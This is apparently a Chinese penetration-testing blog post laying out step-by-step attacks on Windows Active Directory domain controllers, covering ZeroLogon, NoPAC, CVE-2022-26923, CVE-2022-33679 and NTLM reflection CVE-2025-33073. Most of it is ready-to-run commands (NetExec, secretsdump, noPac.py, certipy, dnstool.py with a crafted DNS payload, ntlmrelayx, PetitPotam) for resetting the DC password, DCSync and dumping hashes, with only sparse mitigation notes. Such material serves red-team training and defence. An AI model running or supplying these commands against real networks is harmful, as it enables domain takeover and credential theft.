ZeroLogon – CVE-2020-1472
利用条件
- 无
工具列表
攻击过程
- 扫描域控,查看是否存在ZeroLogon漏洞
# ZeroLogon漏扫不需要身份认证
# 注意:这个漏洞需要对域控重放上百次攻击包,耗时较长,请耐心等待
python3 main.py zerologon -target 172.28.1.1 -u worker@apt.org -no-pass -tf dc_list.txt
# 使用NetExec进行漏扫,线程设置为50加快扫描速度,超时时间设置为120秒,防止没扫描完程序就退出
nxc smb dc_list.txt -t 50 --timeout 120 -M zerologon
- 执行漏洞利用脚本,将域控账号密码置空
# 入参应该是域控的NetBIOS+域控IP
python3 set_empty_pw.py ad1 172.28.1.1
- 使用空密码登入域控进行DCSync,获取域控原来的Hashes
# 我这里是进行DCSync,当然还可以进行其他操作,建议先获取域控Hashes恢复域控密码,防止域控出现异常
# 执行结果类似AD1$_history0的后面跟着的就是历史Hashes
./secretsdump.py apt.org/ad1\$@172.28.1.1 -just-dc-user ad1\$ -just-dc-ntlm -history -no-pass
![图片[1]李白你好-实战攻防ALL-IN 域内漏洞梭哈的艺术李白你好-实战攻防李白你好](https://www.libaisec.com/wp-content/uploads/2025/12/20251204144922637-图片.png)
提示:到这漏洞就已经利用完成了,接下来是恢复域控Hashes,读者可按需执行下面的操作
- 恢复域控原始密码
# 首选:使用EXP提供的脚本恢复密码
python3 reinstall_original_pw.py ad1 172.28.1.1 fa60d8a25808a80f7139cac501124c9c
# 使用impacket的changepasswd.py恢复Hashes
./changepasswd.py apt.org/ad1\$@172.28.1.1 -newhashes fa60d8a25808a80f7139cac501124c9c -no-pass
# 使用NetExec恢复Hashes
nxc smb 172.28.1.1 -u ad1\$ -p '' -M change-password -o NEWNTHASH=fa60d8a25808a80f7139cac501124c9c
修复方案
NoPAC – CVE-2021-42287&CVE-2021-42278
利用条件
- 拥有一个域账号
- 域账号拥有创建机器账号的权限(默认开启,允许创建10个)
工具列表
攻击过程//todo 不支持使用TGT扫描,原因未知
- 扫描域控,查看是否存在NoPAC漏洞
# todo 踩坑点:进行漏扫时发现无法使用TGT票据,待解决
# 使用NetExec进行扫描,dc_list.txt是域控的ip列表
nxc smb dc_lsit.txt -H bbe3917916fd5431dd37d287072bf52b -u worker -M nopac
# 当扫描结果显示Got TGT from xxx.xxx.xxx
python3 scanner.py apt.org/worker -use-ldap -all -hashes :bbe3917916fd5431dd37d287072bf52b -dc-ip 172.28.1.1
![图片[2]李白你好-实战攻防ALL-IN 域内漏洞梭哈的艺术李白你好-实战攻防李白你好](https://www.libaisec.com/wp-content/uploads/2025/12/20251204144934921-图片.png)
- 查看当前账号创建机器账号的配额(当配额>0时,可使用当前账号进行漏洞利用)
# 当执行结果显示MachineAccountQuota: 10时,说明当前账号能创建10个机器账号
# 使用TGT票据查看
KRB5CCNAME=ticket.ccache nxc ldap 172.28.1.1 --use-kcache -M maq
# 使用Hashes查看
nxc ldap 172.28.1.1 -H bbe3917916fd5431dd37d287072bf52b -u worker -M maq
- 执行漏洞利用脚本获取域管理员Hashes
# 使用TGT票据进行攻击
KRB5CCNAME=ticket.ccache python3 noPac.py apt.org/worker --impersonate administrator -dump -use-ldap -k -no-pass -dc-host ad1 -dc-ip 172.28.1.1 -just-dc-user administrator
# 使用Hashes进行攻击
python3 noPac.py apt.org/worker --impersonate administrator -dump -use-ldap -hashes :bbe3917916fd5431dd37d287072bf52b -dc-ip 172.28.1.1 -just-dc-user administrator
修复方案
缓解措施
- 禁用域账号创建机器账号的权限
- 禁止域账号对机器账号属性sAMAccountName的写权限
根除措施
CVE-2022-26923
利用条件
- 拥有一个域账号
- 域账号拥有创建机器账号的权限(默认开启)
- 域内存在ADCS服务
- 域控安装了域控制器证书(一般会自动安装)
工具列表
攻击过程//todo 补充域信息收集篇链接
- 查找域内ADCS服务器(在[域信息收集篇]()有介绍,这里不过多赘述)
- 查看当前账号创建机器账号的配额(在[域信息收集篇]()有介绍,这里不过多赘述)
- 创建一个和域控dnsHostName相同的机器账号
# 返回结果显示,创建的机器账号为faker$,密码为u4j4rCq9FI0oTaJQ
# 使用TGT票据创建机器账号
KRB5CCNAME=ticket.ccache certipy account create -user faker -dns ad1.apt.org -target ad1.apt.org -dc-ip 172.28.1.1 -k
# 使用Hashes创建机器账号
certipy account create -user faker -dns ad1.apt.org -dc-ip 172.28.1.1 -u worker@apt.org -hashes bbe3917916fd5431dd37d287072bf52b
![图片[3]李白你好-实战攻防ALL-IN 域内漏洞梭哈的艺术李白你好-实战攻防李白你好](https://www.libaisec.com/wp-content/uploads/2025/12/20251204145032825-图片.png)
- 扫描域控查看是否存在漏洞
# 扫描结果显示 [xxx.xxx.xxx.xxx] success, target is vulnerable!!! 则说明存在漏洞
# dc_list.txt是域控IP列表,注意:扫描的是域控,不是ADCS
python3 main.py 26923 -u faker\$@apt.org -p u4j4rCq9FI0oTaJQ -tf dc_list.txt -ldap-scheme ldap
- 向ADCS申请域控证书
# 我这里申请出来的证书是ad1.pfx
certipy req -ca apt-ADCS-CA -template Machine -target 172.28.4.1 -u faker\$ -p u4j4rCq9FI0oTaJQ
- 利用pfx证书获取域控Hashes或TGT票据
情况一:Windows 2008及以上版本,默认的域控制器证书模板已支持客户端身份认证(Kerberos PKINIT认证)
# 返回结果是Got hash for 'xxx.xxx.xxx'则说明攻击成功
certipy auth -pfx ad1.pfx -dc-ip 172.28.1.1
情况二:Windows 2003及以下版本,默认的域控制器证书模板仅支持开启LDAPS
执行上述命令若出现KDC_ERR_PADATA_TYPE_NOSUPP或KDC_ERR_CLIENT_NAME_MISMATCH错误,则说明域控安装的域控制器证书缺少客户端身份认证支持
- 从pfx证书中提取PEM格式的证书和私钥
certipy cert -pfx ad1.pfx -nokey -out ad1.crt certipy cert -pfx ad1.pfx -nocert -out ad1.key - 创建机器账号到域控基于资源的约束委派
# 机器账号使用上文创建的faker,我这里的域控账号是ad1 # 出现Delegation rights modified successfully!提示则说明RBCD创建成功 python3 passthecert.py -action write_rbcd -domain apt.org -delegate-to ad1\$ -delegate-from faker\$ -dc-ip 172.28.1.1 -crt ad1.crt -key ad1.key - 通过委派域控进行DCSync获取域内账号的Hashes
# 由于委派的账号是域控账号,这个一个机器账号,所以只能通过DCSync获取Hashes nxc smb 172.28.1.1 --delegate ad1\$ -u faker\$ -p u4j4rCq9FI0oTaJQ --ntds
修复方案
缓解措施
- 禁用域账号创建机器账号的权限
- 禁止域账号对机器账号属性dnsHostName的写权限
根除措施
- 安装CVE-2022-26923补丁
CVE-2022-33679
利用条件
- 域内存在不需要Kerberos预认证的账号
- 域控支持RC4-MD4弱加密
工具列表
攻击过程
- 扫描域控,查看是否开启了RC4-MD4弱加密
# 踩坑点:这个脚本的-dns-tcp参数存在异常,建议直接把域控的ip存放在dc_list.txt文件,直接进行批量扫描
# 当扫描结果显示 hash 33679 则说明,域控开启了RC4-MD4
# 使用TGT票据扫描所有域控,查看是否存在机器开启了RC4-MD4
KRB5CCNAME=ticket.ccache python3 main.py 33679 -dc-ip 172.28.1.1 -k -tf dc_list.txt
# 使用域账号,不带密码进行扫描,查看是否存在机器开启了RC4-MD4
python3 main.py 33679 -dc-ip 172.28.1.1 -u worker@apt.org -no-pass -tf dc_list.txt
- 查找不需要Kerberos预认证的账号(在[域信息收集篇]()有介绍,这里不过多赘述)
- 获取目标账号(不需要Kerberos预认证的账号)的ST票据
# 如果DNS解析存在异常,可使用-dc-ip指定DNS解析服务器
# 这里是使用addpc账号申请对ad1.apt.org的CIFS服务票据
python3 CVE-2022-33679.py apt.org/addpc ad1.apt.org
修复方案
缓解措施
- 为所有账号开启Kerberos预认证
- 禁用域控RC4-MD4弱加密支持
根除措施
NTLM Reflection – CVE-2025-33073
利用条件
- 拥有一个域账号
- 域账号拥有添加DNS记录的权限(默认开启)
- 被攻击机器在域内
- 被攻击机器没有开启SMB签名(非域控默认不开启)
工具列表
攻击过程
- 扫描没有开启SMB签名的机器
# 因为SMB协议特性,线程数过低或或过高,超时时间过段,会扫不出来结果
# 建议线程数稍高,超时时间稍长
# 当扫描结果显示signing:False时,说明此机器存在NTLM反射漏洞
nxc smb 172.28.4.0/24 -t 50 --timeout 10
![图片[4]李白你好-实战攻防ALL-IN 域内漏洞梭哈的艺术李白你好-实战攻防李白你好](https://www.libaisec.com/wp-content/uploads/2025/12/20251204145058887-图片.png)
- 为中继服务器也就是攻击者添加DNS记录
# 这个漏洞的核心payload是被攻击机器名+1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA这个DNS记录,注意不要写错
# 当然也可以使用通杀payload:LOCALHOST1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA
# 踩坑点:当dnstool.py执行后返回noSuchObject,可能DNS存储区域不在默认的域区域,使用--forest或--legacy,往林区域或系统区域添加DNS记录
# 方法一:在不知道密码和Hashes的情况下,使用TGT添加DNS记录
KRB5CCNAME=ticket.ccache python3 dnstool.py ad1.apt.org -u 'apt.org\worker' -k -r LOCALHOST1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -a add -d 172.28.186.1
# 方法二:使用Hashes添加DNS记录
python3 dnstool.py 172.28.1.1 -u 'apt.org\worker' -p 'aad3b435b51404eeaad3b435b51404ee:bbe3917916fd5431dd37d287072bf52b' -r LOCALHOST1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -a add -d 172.28.186.1
- 开启NTLM中继服务监听
# 这里只开启SMB服务监听,其他服务关闭
# 踩坑点:假设使用代理进入目标内网,ntlmrelayx.py也要设置代理
ntlmrelayx.py -t 172.28.4.1 -smb2support --no-http-server --no-wcf-server --no-raw-server --no-rpc-server
- 使用强制认证漏洞,让被攻击机器对中继服务器发起强制认证
# 方法一:使用TGT票据进行强制认证
# 踩坑点:使用TGT票据时不能使用IP访问,所有地址均要使用域名
KRB5CCNAME=ticket.ccache python3 PetitPotam.py -k LOCALHOST1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA adcs.apt.org
# 方法二:使用Hashes进行强制认证
python3 PetitPotam.py -d apt.org -u worker -hashes :bbe3917916fd5431dd37d287072bf52b LOCALHOST1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 172.28.4.1
修复方案
缓解措施
- 禁止普通用户添加DNS记录的权限
- 为机器开启SMB签名
根除措施
© 版权声明
文章版权归作者所有,转载请标明出处。
THE END











![一个网警的心法教学-P站写色文发黄图到底安不安全【全网最全最细致】[深度剖析]李白你好-实战攻防李白你好](https://www.libaisec.com/wp-content/uploads/2025/06/20250602210311797-图片.png)






暂无评论内容